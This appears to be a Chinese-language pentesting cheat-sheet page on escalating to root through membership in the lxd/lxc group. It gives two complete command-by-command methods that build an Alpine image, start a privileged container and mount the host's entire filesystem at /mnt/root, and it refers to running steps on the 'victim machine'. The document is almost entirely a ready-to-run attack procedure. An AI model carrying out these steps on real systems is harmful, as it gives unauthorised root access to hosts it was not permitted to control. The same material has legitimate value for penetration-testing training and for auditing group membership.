lxd/lxc Group - Privilege escalation
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如果你属于 lxd 或 lxc 组,你可以成为 root
无需互联网的利用
方法 1
你可以在你的机器上安装这个发行版构建工具:https://github.com/lxc/distrobuilder (按照 GitHub 的说明进行操作):
sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
上传文件 lxd.tar.xz 和 rootfs.squashfs,将镜像添加到仓库并创建一个容器:
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
# Check the image is there
lxc image list
# Create the container
lxc init alpine privesc -c security.privileged=true
# List containers
lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
如果您发现此错误 错误:未找到存储池。请创建一个新的存储池
运行 lxd init
并 重复 之前的命令块
最后,您可以执行容器并获取 root:
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
方法 2
构建一个 Alpine 镜像并使用标志 security.privileged=true
启动它,强制容器以 root 身份与主机文件系统交互。
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as default
lxd init
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
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